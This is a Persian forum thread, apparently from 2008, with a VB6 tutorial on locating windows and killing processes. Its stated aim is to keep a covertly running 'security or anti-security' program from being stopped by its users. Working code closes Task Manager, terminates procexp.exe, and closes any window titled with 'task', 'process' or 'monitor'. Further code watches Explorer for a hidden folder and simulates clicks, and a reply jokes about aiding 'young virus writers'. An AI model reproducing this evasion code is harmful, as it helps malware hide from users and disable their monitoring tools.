ورود

View Full Version : مقاله: چگونه بستن پنجره ها و پروسه های مشکوک



MFiRE
شنبه 30 شهریور 1387, 23:49 عصر
این مقاله رو مهر ماهه پارسال نوشتم (زمانی که تازه ...) که به دلایلی ادامه ندادم !
تا اونجایی که نوشته بودم رو براتون می زارم.
این بخش اول هست و Pdf (مقاله کامل) اون رو هم بعداً براتون اتچ می کنم.

سطح : از مبتدی تا کمی پیشرفته :لبخند:

خیلی مبتدی و خیلی متوسط:گیج: :
در اینجا منظور از پروسه های مشکوک ، پروسه هاییست که می توانند Monitoring کنند یا اینکه به امنیت برنامه ی ما صدمه وارد کند .
برای مثال ما برنامه ای امنیتی یا ضد امنیتی ایی طراحی کردیم . این برنامه درون سیستم های مختلفی قرار می گیرد و به صورت کاملاً مخفی کاراهایی که ما برای آن طراحی کرده ایم انجام می دهد. برای امنیت بیشتر برنامه باید ابزار Monitoring (مانند Process-Monitor) و Viewer (مانند Process-Viewer)که توسط کاربر اجرا می شود بسته شوند تا کاربر از فعالیت های برنامه ی ما جلوگیری نکند . توسط مطالب این مقاله می توانید به چند روش برنامه های مشکوک را ببندید یا اینکه از فعالیت آنها جلوگیری کنید.
برای برنامه های امنیتی (مثلاً قفل سیدی یا Packer ها) فعالیت برنامه های مانیتورینگ بسیار مهم می باشد .


توضیح بیشتر برای افراد مبتدی :
برای بستن یک برنامه در ویندوز باید ابتدا Handle برنامه یمان را بدست اوریم(البته با PiD هم قابل انجام است). پس از اینکه Handle پنجره ی برنامه مان را بدست آوردیم می توانیم کاراهای بسیاری بر روی آن انجام دهیم. کارهایی که می توان بر روی پروسه ها انجام دهیم شامل :
Close ، Enable & Disable ، Minimize ، OnTop و ... می باشند که برای هر کدام نمونه کدی به زبان های مختلف در فایلهای پیوست شده وجود دارد. در واقع در این مقاله با چند متد امنیتی کاربری آشنا می شوید که در پروژهایتان (چه امنیتی چه ضد امنیتی) بسیار کاربرد خواهد داشت.

شاید بپرسید Handle چیست ؟
معنای Handle به زبان فارسی "دستگیره" می باشد . همانطور که از معنی آن پیداست دستگیره ایست برای هر شئ در ویندوز و شی های مختلف توسط این دستگیره شناخته می شوند. هر شی در ویندوز دارای Handle یگانه می باشد . توضیحی که می توان در مورد شئ بیان کرد این است که : شئ همان دکمه ها ، کادر متن ها و برچسب هاست(البته این توضیح برای افراد مبتدی و تازه کار می باشد ). البته پنجره ها هم دارای Handle می باشند و از این طریق می توان آنها را نیز کنترل کرد.
در مقاله ی قبلی بنده کمی با مفهوم PiD آشنا شدید (اگر مقاله ی قبلی را نخوانده اید می توانید آنرا از وبلاگ من دریافت کنید{عنوان مقاله قبلی : جلوگیری از بسته شدن Process ها در ویندوز}) و همانطور که می دانید PiD برای پروسه ها تکراری نمی باشد و هر پروسه در ویندوز دارای PiD جداگانه می باشد . PiD (Process-iD) به معنای آیدی یا مشخصه ی یک پروسه می باشد.

فرق PiD و Handle در چیست ؟
PiD مشخصه ای برای هر پروسه می باشد در حالی که Handle مشخصه ای برای هر شئ می باشد.

کلاس چیست ؟
هر شئ در ویندوز کلاسی دارد که بر اساس آن نوع شئ تشخیص داده می شود . برای مثال کلاس دکمه هایی که در برنامه های ساخته شده توسط دلفی استفاده می شود از نوع TButton و کلاس دکمه ها در VB از نوع ThunderRT6CommandButton و در C++ هم از نوع Button می باشد.
یکی دیگر از راههایی که می توان پنجره ها را در ویندوز پیدا کرد استفاده از کلاس پنجره می باشد . برای مثال کلاس پنجره ی اصلی برنامه ی Notepad.exe ویندوز از نوع Notepad می باشد همچنین کلاس پنجره ی TaskManager ویندوز از نوع 32770# می باشد .

در مورد کلاس قضیه متفاوت می باشد و امکان وجود کلاس تکراری در برنامه های اجرا شده بسیار هست . برای مثال برنامه ی TaskManager و Run ویندوز ، به طور مشترک از نوع 32770# می باشد. این به معنی است که در بعضی مواقع پیدا کردن اینگونه پروسه ها کاری بس دشوار است و نیاز به مهارت و نوشتن کدهای بیشتری است. البته برای پیدا کردن اینگونه پروسه ها از روشی ابتکاری که در درس های بعدی در مورد آن توضیح داده شده، استفاده می شود.

استقبال شد بازم از این کارا می کنیم :لبخند:

راستی در نسخه ی PDF بعضی از کد ها رو به زبان دلفی هم نوشتم ! ولی اکثرا به دلیل اینکه حسش نبود :لبخند: کد ها رو نذاشتم.

وبلاگ من ، منبع :

vb-delphi-cpp.blogfa.com

اینم نسخه ی PDF :

sohrab o
شنبه 30 شهریور 1387, 23:12 عصر
http://barnamenevis.org/forum/showthread.php?t=122443&page=4
http://barnamenevis.org/forum/showthread.php?t=122443&page=3

توی این قسمت ها من هم چند تا برنامه واسه بستن پردازش ها و برنامه گذاشتم واسه دانلود

MFiRE
یک شنبه 31 شهریور 1387, 15:47 عصر
پیدا کردن و بدست آوردن Handle یک پنجره در ویندوز :
همانطور که گفته شد برای اینکه بخواهیم دستوراتی را بر روی پنجره ها و شئ ها اعمال کنیم ابتدا نیاز به Handle آن داریم . برای بدست آوردن هندل باید از توابع Api استفاده کنیم .
به تکه کد زیر که به زبان vb6 می باشد توجه کنید :




'Put this code to Form ... And insert one CommandButton on form
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Sub Command1_Click()
Dim tskmgr_hWnd As Long
tskmgr_hWnd = FindWindow ("#32770", "Windows Task Manager")
MsgBox tskmgr_hWnd
End Sub



بررسی کد :
تکه کد بالا در صورتی که برنامه ی TaskManager ویندوز ، اجرا باشد هندل آن را به صورت پیغام به شما نشان می دهد . ما با استفاده از یکی از توابع Api به نام FindWindow ، هندل پنجره ی اصلی TaskManager را بدست می آوریم . سپس آنرا به صورت یک پیغام نشان می دهیم . هندل این پنجره عددی مثل (394726) می باشد . توجه داشته باشید اگر مقدار 0 برگردانده شود به معنی این است که پنجره ی مورد نظر شما پیدا نشده . یعنی برنامه ی TaskManager اجرا نیست ! .
توضیح بیشتر اینکه این تابع Api دو مقدار دریافت می کند یـکی عنـــوان پـنـجره ی TaskManager که 'Windows Task Manager' می باشد و دیگری کلاس پنجره که در اینجا 32770# کلاس پنجره ی TaskManager می باشد.
اما بعضی مواقع وضعیت متفاوت می باشد ، مثلاً عنوان پنجره توسط شخص تغییر کرده یا اینکه عنوان پنجره ای که ما بدنبال آن هستیم دائم در حال تغییر می باشد . بدین ترتیب تنها راه چاره این است که فقط از کلاس پنجره برای جستجو استفاده کنیم. اگر بخواهیم این کار را انجام دهیم باید کدمان را به صورت زیر تغییر دهیم :





tskmgr_hWnd = FindWindow ("Notepad", vbNullString)



بررسی کد :
در کدهای جدیدمان برای پیدا کردن پنجره ی برنامه ی Notepad دیگر از عنوان پنجره استفاده نکردیم ! . به چه دلیل ؟ به دلیل اینکه برنامه ی Notepad عنوان ثابتی ندارد پس ما هم مقدار دوم تابع FindWindow را طوری تنظیم کردیم که برای جستجو عنوان در نظر گرفته نشود.
در درسهای آینده نحوه ی پیدا کردن پنجره هایی که کلاس آنها یکی باشند آموزش داده می شود.

حال که با نحوه ی پیدا کردن پنجره ها و بدست آوردن هندل آنها آشنا شده اید به نحوه ی بستن و دیگر عملیات بر روی پنجره ها و پروسه ها می پردازیم.

ادامه دارد...

MFiRE
یک شنبه 31 شهریور 1387, 16:24 عصر
کمی پیشرفته ... سورس کد :
پیدا کردن پنجره ها و بستن آنها به روش های مختلف :

روش 1 :






'Put this code to Form ... And insert one CommandButton on form
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Const WM_CLOSE = &H10

Private Sub Command1_Click ()
Dim tskmgr_hWnd As Long

tskmgr_hWnd = FindWindow ("#32770", "Windows Task Manager")
'You can use:("#32770", vbNullString) or (vbNullString, "Windows Task Manager")

If tskmgr_hWnd = 0 Then MsgBox "not found this window", vbExclamation, "oh no..." : Exit Sub

CloseResult = SendMessage (tskmgr_hWnd, WM_CLOSE, 0&, 0&)

End Sub




بررسی کد : کد فوق ابتدا هندل برنامه ی TaskManager را بدست آورده ، سپس توسط تابع SendMessage پیغامی به برنامه می فرستد (WM_CLOSE) که منجر به بستن برنامه می شود .

دستور دیگر برای بستن برنامه (با نوشته ی نارنجی رنگ جایگزین شود) :



ویژوال بيسيك
Const WM_DESTROY = &H2


نکته : WM_DESTROY نیز مثل WM_CLOSE برای بستن برنامه می باشد . برای مشاهده ی تفاوت این دو ، هر دو را بر روی پروسه ی Notepad ای که سندی ذخیره نشده دارد امتحان کنید تا نتیجه را مشاهده فرمایید.

روش 2 :
کدهای زیر را به بخش تعاریف ماژول اضاف کنید .






this is Declarations … copy to module'
Declare Function TerminateProcess Lib "kernel32" (ByVal ApphProcess As Long, _
ByVal uExitCode As Long) As Long
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, _
ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal _
hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal _
hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias _
"CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As _
Long, lpExitCode As Long) As Long
Private Const MAX_PATH& = 260
Private Const PROCESS_ALL_ACCESS = &H1F0FFF
Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * MAX_PATH
End Type



همچنین این کدها را به ماژول کد ، بعد از تعریف اضاف کنید.






copy this code to module'
Public Function SearchAPP(proc As String)

Dim uProcess As PROCESSENTRY32
Dim rProcessFound As Long
Dim hSnapshot As Long
Dim szExename As String
Dim i As Integer

Const TH32CS_SNAPPROCESS As Long = 2&

uProcess.dwSize = Len(uProcess)
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
rProcessFound = ProcessFirst(hSnapshot, uProcess)

Do While rProcessFound
i = InStr(1, uProcess.szexeFile, Chr(0))
szExename = LCase$(Left$(uProcess.szexeFile, i - 1))
If LCase(szExename) = LCase$(proc) Then
EndProcess uProcess.th32ProcessID
Exit Function
End If

rProcessFound = ProcessNext (hSnapshot, uProcess)
Loop
Call CloseHandle (hSnapshot)

End Function

Public Function EndProcess (ProcessID As Long)
Dim lProcessHandle As Long
If ProcessID > 0 Then
'Check If WIN9X processes
'If OSPlatForm = Platform_Windows_95_98_ME Then ProcessID = ProcessID * -1
Dim EXCODE as Long, PROCESS as Long
'Give All Access Levels to the Process
PROCESS = OpenProcess (PROCESS_ALL_ACCESS, 0, ProcessID)
If PROCESS > 0 Then
'Access Succeffully Gained
GetExitCodeProcess PROCESS, EXCODE
TerminateProcess PROCESS, EXCODE
DoEvents
End If
CloseHandle PROCESS
End If
End Function



برای استفاده از این کدها ، دکمه ای بر روی فرم بسازید . سپس متن زیر را در بخش کد فرم قرار دهید.






'Copy this code to form
Private Sub Command1_Click ()
SearchAPP "procexp.exe"
End Sub



روش 3 :
این روش اگر کلمه ی مورد نظر شما را در عنوان پنجره ای پیدا کند آن را می بندد. در واقع این روش مثل جستجوی فایل در ویندوز است . برای مثال می توانید از علامت ستاره یا علامت سوال استفاده کنید تا جستجو بهتر انجام گیرد . شاید سوال پیش بیاید که چه تفاوتی وجود دارد ... همان روش قبل کارساز است !؟
امل استفاده از این روش خالی از لطف نیست ... به خاطر اینکه می توانید ، برنامه هایی که شما نمی شناسید و به امنیت برنامه تان صدمه وارد می کند را ببندید . برای مثال می توانید در جستجو از کلمه ی Task,Process,Monitor استفاده کنید. بدین ترتیب هر پنجره ای که دارای این کلمات باشد بسته می شود . معمولاً برنامه های مدیریت پروسه چنین عنوان هایی دارند.
کدهای بخش تعرایف ماژول :






'This is Declarations … copy to module
Private Declare Function EnumWindows& Lib "user32" (ByVal lpEnumFunc As Long, _
ByVal lParam As Long)

Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" _
(ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Private Declare Function IsWindowVisible& Lib "user32" (ByVal hwnd As Long)
Private Declare Function GetParent& Lib "user32" (ByVal hwnd As Long)
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal _
hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Const WM_DESTROY = &H2
Const WM_CLOSE = &H10



همچنین این کدها را به ماژول کد ، بعد از تعریف اضاف کنید.






Function EnumWinProc(ByVal hwnd As Long, ByVal lParam As Long) As Long
Dim k As Long, sName As String
If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then
sName = Space$(128)
k = GetWindowText(hwnd, sName, 128)
If k > 0 Then
sName = Left$(sName, k)
sName = UCase(sName)
If sName Like sPattern Then
hFind = hwnd
EnumWinProc = 0
Exit Function
End If
End If
End If
EnumWinProc = 1
End Function

Public Function FindWindowWild(sWild As String) As Long
sPattern = UCase(sWild)
EnumWindows AddressOf EnumWinProc, False
FindWindowWild = hFind
'SendMessage hFind, WM_DESTROY, 0, 0
SendMessage hFind, WM_CLOSE, 0, 0
End Function




برای استفاده از این کدها ، دکمه ای بر روی فرم بسازید . سپس متن زیر را در بخش کد فرم قرار دهید.





'This is code for find. return handle and close windows task manager & other task
Private Sub Command1_Click()
Debug.Print FindWindowWild ("*task*")
'Debug.Print FindWindowWild ("*Process*")
'Debug.Print FindWindowWild ("*monitor*")
End Sub


توضیح بیشتر اینکه پس از افزودن کدها به ماژول و فرم و سپس اجرای برنامه ، هر برنامه ای که متن عنوان آن دارای کلمه ی "task" باشد بسته خواهد شد ... البته هندل پنجره توسط تابع "FindWindowWild" برگرداننده خواهد شد. در ضمن به جای "SendMessage hFind, WM_CLOSE, 0, 0" می توانید از دستورات دیگری که با هندل کار می کنند استفاده کنید . در اینجا برای خلاصه سازی از دستورات شرطی استفاده نشده است ، می توانید دستور شرطی بنویسید که اگر مقدار hFind (که همان هندل پیدا شده می باشد) صفر باشد دستوری اجرا نکند !

ادامه دارد...

MFiRE
دوشنبه 01 مهر 1387, 11:50 صبح
روش 4 :

کدهای بعدی که همه ، چند وقت پیش توسط بنده نوشته شده است ، برای برنامه های امنیتی که نمایش مسیر پوشه ای در اکسپلورر در آدرس بار برایشان مهم است بسیار کاربردی می باشد . برای مثال برنامه ی ما از پوشه ی "\C:\Windows\Help\asdf" اجرا شده است و مهم است که متوجه شویم که کاربر به این پوشه رفته است ! . حال اگر کاربر (که گویا حرفه ای هستند) مسیر پوشه را از آدرس بار پاک نماید و همچنین نام پوشه ی جاری یا همان متن عنوان پنجره ی اکسپلورر را پاک کرده باشد ، با این کد پنجره ی اکسپلورر Refresh می شود که این باعث دوباره ظاهر شدن متن عنوان و آدرس بار می شود !
در این کد با تابع GetForegroundWindow بیشتر آشنا خواهید شد.
کد بسیار ساده می باشد. ابتدا هندل پنجره ی فعال را گرفته سپس کلاس آن را چک می کند در صورتی که کلاس آن از نوع CabinetWClass باشد اکسپلورر Refresh خواهد شد.
کدها را به فرم اضاف کنید سپس یک شئ تایمر بر روی فرم قرار دهید و خاصیت Interval آن را برابر عدد 1500 قرار دهید.





'Add all code to form ... and add timer to form
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" _
(ByVal lHwnd As Long, ByVal lpClassName As String, ByVal lMax As Long) As Long


Private Sub Timer1_Timer ()
Dim ClassI$


ClassI = GetClass (GetForegroundWindow)
If ClassI = "CabinetWClass" Then
SendKeys "{ESC}"
SendKeys "{F5}"
End If
End Sub


Private Function GetClass (xHwnd As Long) As String
Dim xLen As Long
Dim sBuffer As String


sBuffer = String (255, Chr$(0))
xLen = GetClassName (xHwnd, sBuffer, 255)
GetClass = Left (sBuffer, xLen)
End Function



حال برنامه را اجرا کنید و نتیجه را مشاهده کنید.


روش 5 :
حال به روش ابتکاری دیگر می خواهیم یک برنامه را به صورت پیشرفته پیدا کنیم. اگر به خاطر داشته باشید در ابتدای مقاله خواندید که بسیاری از برنامه ها کلاس های مشابهی دارند و در صورت تغییر عنوان آنها دیگر قابل شناسایی نیستند . حال با این روش به راحتی کدی می نویسیم که اثر مفیدتری در پیدا کردن برنامه ها در ویندوز دارد.
کد زیر را به بخش کد نویسی فرم بیافزایید . این کد برنامه ی TaskManager ویندوز را به صورت پیشرفته پیدا می کند. توجه داشته باشید که برنامه ی TaskManager شما نباید MiNiMiZe باشد !




'Add all code to form and add button to form
Private Declare Function GetParent Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal _
lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias"FindWindowExA"(ByVal _
hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As _
String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA"(ByVal _
hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const WM_CLOSE = &H10


Private Sub Command1_Click ()
Dim MainClass asLong
Dim ChildClass asLong


MainClass = FindWindow("#32770", vbNullString)
ChildClass = FindWindowEx (MainClass, 0&, "#32770", vbNullString)
ChildClass = FindWindowEx (ChildClass, 0&, "SysListView32", "Processes")
If ChildClass <> 0 Then
SendMessageGetParent (GetParent (ChildClass)), WM_CLOSE, 0&, 0&
End If
End Sub



تنها با نوشتن چند خط کد ساده توانستیم برنامه ای بنویسیم که TaskManager ویندوز را حتی با تغییر متن عنوان آن شناسایی کنید. البته بهتر است این کد را به سلیقه ی خود ویرایش کنید و فقط از کلاسها برای جستجو استفاده کنید ما در اینجا از عنوان لیست پروسه ها در TaskManager هم استفاده کرده ایم (Processes) که این خود می تواند یک اشكال بزرگ در کد محسوب شود. برای ساختن چنین کدی به صورت اتوماتیک می توانید از برنامه ای که هم اکنون در وبلاگ بنده وجود دارد استفاده کنید. نام این برنامه (Parent Getter - Code Generator) می باشد که برای تولید کد هاي آماده می باشد. می توانید توسط این برنامه کد هایی تولید کنید که در شناسایی برنامه ها کار شما را بسیار آسانتر می کند . فراموش نکنید که این کد یکی از بهترینهای جستجوی برنامه ها می باشد.
در ادامه کدهایی برای برنامه نویسی بهتر در مورد کار با پروسه ها و پنجره ها را بررسی می کنیم.

روش 6 :
این تکه کد از طریق PiD ، هندل برنامه مورد نظر را به دست می آورد.



'Copy all to form
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _
(ByVal lpClassName As Long, ByVal lpWindowName As Long) As Long
Private Declare Function GetParent Lib "user32" (ByVal hwnd As Long) _
As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" _
(ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, _
ByVal wCmd As Long) As Long
Const GW_HWNDNEXT = 2


Function InstanceToWnd (ByVal target_pid As Long) As Long
Dim test_hwnd As Long, test_pid As Long, test_thread_id As Long
test_hwnd = FindWindow (ByVal 0&, ByVal 0&)
Do While test_hwnd <> 0
If GetParent (test_hwnd) = 0 Then
test_thread_id = GetWindowThreadProcessId (test_hwnd, test_pid)
If test_pid = target_pid Then
InstanceToWnd = test_hwnd
Exit Do
End If
End If
test_hwnd = GetWindow (test_hwnd, GW_HWNDNEXT)
Loop
End Function


Private Sub Command1_Click ()
MsgBox InstanceToWnd (Shell ("notepad.exe", vbNormalFocus))
End Sub


این کد برنامه ی Notepad را اجرا کرده سپس بر اساس PiD آن ، هندل آن را بدست می آورد.

برای تبدیل هندل به PiDهم می توانید از این کد استفاده کنید.




'Add one CommandButton to form
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long


Private Sub Command1_Click()
Dim myProcessID As Long
Dim myhWnd As Long


myhWnd = 1770416
ThreadIDX = GetWindowThreadProcessId(myhWnd, myProcessID) 'PROCESSIDX Accept The Idetefier
MsgBox myProcessID
End Sub



ادامه دارد...

MFiRE
سه شنبه 02 مهر 1387, 18:05 عصر
این کد هم برای بدست آوردن لیست پنجره های باز در ویندوز می باشد.





'Add one CommandButton and Listbox to form
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, _
ByVal wCmd As Long) As Long
Private Declare Function GetParent Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias _
"GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" _
(ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Const GW_HWNDFIRST = 0
Const GW_HWNDNEXT = 2

Private Sub Command1_Click()
LoadTaskList List1
End Sub

Sub LoadTaskList (List As ListBox)
Dim CurrWnd As Long
Dim Length As Long
Dim TaskName As String
Dim Parent As Long
list.Clear
CurrWnd = GetWindow (Form1.hwnd, GW_HWNDFIRST)
While CurrWnd <> 0
Parent = GetParent (CurrWnd)
Length = GetWindowTextLength (CurrWnd)
TaskName = Space$(Length + 1)
Length = GetWindowText (CurrWnd, TaskName, Length + 1)
TaskName = Left$(TaskName, Len(TaskName) - 1)
If Length > 0 Then
If TaskName <> Me.Caption Then
List.AddItem CurrWnd & " - " & TaskName
End If
End If
CurrWnd = GetWindow (CurrWnd, GW_HWNDNEXT)
DoEvents
Wend
End Sub




برای اجرای کد ، یک دکمه و لیست به فرم بیافزایید.

این کد هم کد جالبی هست. آدرس تمامی پنجره های اکسپلورر باز را لیست می کند.
در اینجا از سورس های قبلی کمک گرفتیم و توانستیم با ادغام چند تا از این سورس ها ، برنامه ای جالب و کاربردی بسازیم. اگر کمی فکر کنید می بینید که واقعا سورس خوبی هست و می توان با آن کارهای بسیاری کرد !!




Private Declare Function FindWindowLong Lib "user32" Alias "FindWindowA" _
(ByVal lpClassName As Long, ByVal lpWindowName As Long) As Long
Private Declare Function GetParent Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal _
lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _
(ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal _
lpsz2 As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
lParam As Any) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, _
ByVal wCmd As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" _
(ByVal lHwnd As Long, ByVal lpClassName As String, ByVal lMax As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" _
(ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias _
"GetWindowTextLengthA" (ByVal hwnd As Long) As Long

Const GW_HWNDNEXT = 2
Const WM_GETTEXTLENGTH = &HE
Const WM_GETTEXT = &HD



کدهای بالا را به بخش کد فرم کپی کنید . سپس یک لیست و یک عدد تایمر (Interval=1000) به فرم اضاف کنید و کدهای زیر را به بخش کد فرم بعد از کدهای بالا کپی کنید.




Dim adwnd As Long

Function GetAllAddress ()
List1.Clear
Dim test_hwnd As Long, test_pid As Long, test_thread_id As Long
test_hwnd = FindWindowLong(ByVal 0&, ByVal 0&)
Do While test_hwnd <> 0
If GetParent(test_hwnd) = 0 And GetClassOo(test_hwnd) = "CabinetWClass" Or GetClassOo(test_hwnd) = "ExploreWClass" Then
List1.AddItem getttt (test_hwnd)
End If
test_hwnd = GetWindow(test_hwnd, GW_HWNDNEXT)
Loop
End Function

Public Function GetText(lngHwnd As Long) As String
Dim WinText As String
Dim SLength As Long
Dim RetVal As Long

SLength = SendMessage(lngHwnd, WM_GETTEXTLENGTH, ByVal CLng(0), ByVal CLng(0)) + 1
WinText = Space(SLength)
RetVal = SendMessage(lngHwnd, WM_GETTEXT, ByVal SLength, ByVal WinText)
WinText = Left(WinText, Len(WinText) - 1)
GetText = WinText
End Function

Function GetClassOo(hhWWnnDD As Long) As String
Dim xLen As Long
Dim sBuffer As String

sBuffer = String(255, Chr$(0))
xLen = GetClassName(hhWWnnDD, sBuffer, 255)
GetClassOo = Left(sBuffer, xLen)
End Function

Function getttt(test_hwnd As Long) As String
adwnd = FindWindowEx(test_hwnd, 0, "WorkerW", vbNullString)
adwnd = FindWindowEx(adwnd, 0, "ReBarWindow32", vbNullString)
adwnd = FindWindowEx(adwnd, 0, "ComboBoxEx32", vbNullString)
adwnd = FindWindowEx(adwnd, 0, "ComboBox", vbNullString)
adwnd = FindWindowEx(adwnd, 0, "Edit", vbNullString)
getttt = GetText(adwnd)
End Function

Private Sub Timer1_Timer()
On Error Resume Next
iNDX = List1.ListIndex
GetAllAddress
List1.ListIndex = iNDX
End Sub



این تکه کد هم برای شبیه سازی کلیک چپ ماوس می باشد . کافیست هندل شی مورد نظرتان را وارد کنید تا عمل کلیک چپ ماوس شبیه سازی شود. این کد هم کاربردهای فراوانی خواهد داشت.




'Add one CommandButton to form
Private Declare Function SendMessageLong& Lib "user32" Alias "SendMessageA" _
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam _
As Long)
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal _
lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _
(ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal _
lpsz2 As String) As Long

Const WM_LBUTTONDOWN = &H201
Const WM_LBUTTONUP = &H202

Private Sub Command1_Click ()
Dim SHellTrayWnd As Long
Dim StartButton As Long

SHellTrayWnd = FindWindow ("shell_traywnd", vbNullString)
StartButton = FindWindowEx (SHellTrayWnd, 0&, "button", vbNullString)
Call SendMessageLong(StartButton, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessageLong(StartButton, WM_LBUTTONUP, 0&, 0&)
End Sub



این کد ابتدا هندل دکمه ی Start را بدست می آورد . سپس عمل کلیک چپ ماوس بر روی دکمه ی استارت را انجام می دهد.

و اما برای انجام دابل کلیک می توانید از کد زیر استفاده کنید.




'Declare:
Const WM_LBUTTONDBLCLK = &H203

'and For Double-Click use this:
Call SendMessageLong(Your_Handle, WM_LBUTTONDBLCLK, 0&, 0&)



و برای راست کلیک :





'Declare:
Const WM_RBUTTONDOWN = &H204
Const WM_RBUTTONUP = &H205

'and For Right-Click use this:
Call SendMessageLong(Your_Handle, WM_RBUTTONDOWN, 0&, 0&)
Call SendMessageLong(Your_Handle, WM_RBUTTONUP, 0&, 0&)

MFiRE
چهارشنبه 03 مهر 1387, 14:16 عصر
لیست زیر توابع Api ای هست که در ادامه مطالب به انها نیاز خواهید داشت.




'Api for enable windows
Private Declare Function EnableWindow Lib "user32" (ByVal hwnd As Long, _
ByVal fEnable As Long) As Long
'Api for show & hide windows
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _
ByVal nCmdShow As Long) As Long
'Api for Set Text
Private Declare Function SendMessageByString Lib "user32" Alias _
"SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As _
Long, ByVal lParam As String) As Long


برای Enable یا Disable کردن شی یا پنجره ای می توانید از تکه کد زیر استفاده کنید.




'For Disable Windows use this:
Call EnableWindow(Your_Handle, 0)
'For Enable Windows use this:
Call EnableWindow(Your_Handle, 1)


فقط کافیست به جای Your_Handle هندل شی مورد نظرتان را بنویسید . تعریف توابع Api با شما.

برای HiDE و SHoW کردن پنجره ها هم می توانید از کدهای زیر استفاده کنید.




'Declare:
Const SW_HIDE = 0
Const SW_SHOW = 5

'For Disable Windows use this:
Call ShowWindow(Your_Handle, SW_HIDE)
'For Enable Windows use this:
Call ShowWindow (Your_Handle, SW_SHOW)


برای تغییر متن پنجره ها و اشیا هم می توانید از تکه کد زیر استفاده کنید.




'Declare:
Const WM_SETTEXT = &HC

'For Disable Windows use this:
Call SendMessageByString(Your_Handle, WM_SETTEXT, 0&, "ThiS iS TeXt")


شاید یه ادامه ی کوچیکه دیگه داشته باشه !

r0ot$harp
چهارشنبه 03 مهر 1387, 15:09 عصر
لیست زیر توابع Api ای هست که در ادامه مطالب به انها نیاز خواهید داشت.



برای Enable یا Disable کردن شی یا پنجره ای می توانید از تکه کد زیر استفاده کنید.



فقط کافیست به جای Your_Handle هندل شی مورد نظرتان را بنویسید . تعریف توابع Api با شما.

برای HiDE و SHoW کردن پنجره ها هم می توانید از کدهای زیر استفاده کنید.



برای تغییر متن پنجره ها و اشیا هم می توانید از تکه کد زیر استفاده کنید.



شاید یه ادامه ی کوچیکه دیگه داشته باشه !


حاجی کاش این مورد هم ذکر می کردی برای ویروس نویسان جوان :قهقهه::قهقهه::قهقهه::قهقهه: که وقتی پنجره در حالت Hide هست شما می تونید با شی ء های اون کار کنید و کرم بریزین .
:خجالت::خجالت::خجالت::خجالت:





باتشکر احسان

MFiRE
یک شنبه 07 مهر 1387, 19:35 عصر
به سلامتی انجمن وی.بی داره تعطیل می شه !

و اینک مهاجرت به دیگر زبانها ...

meys34
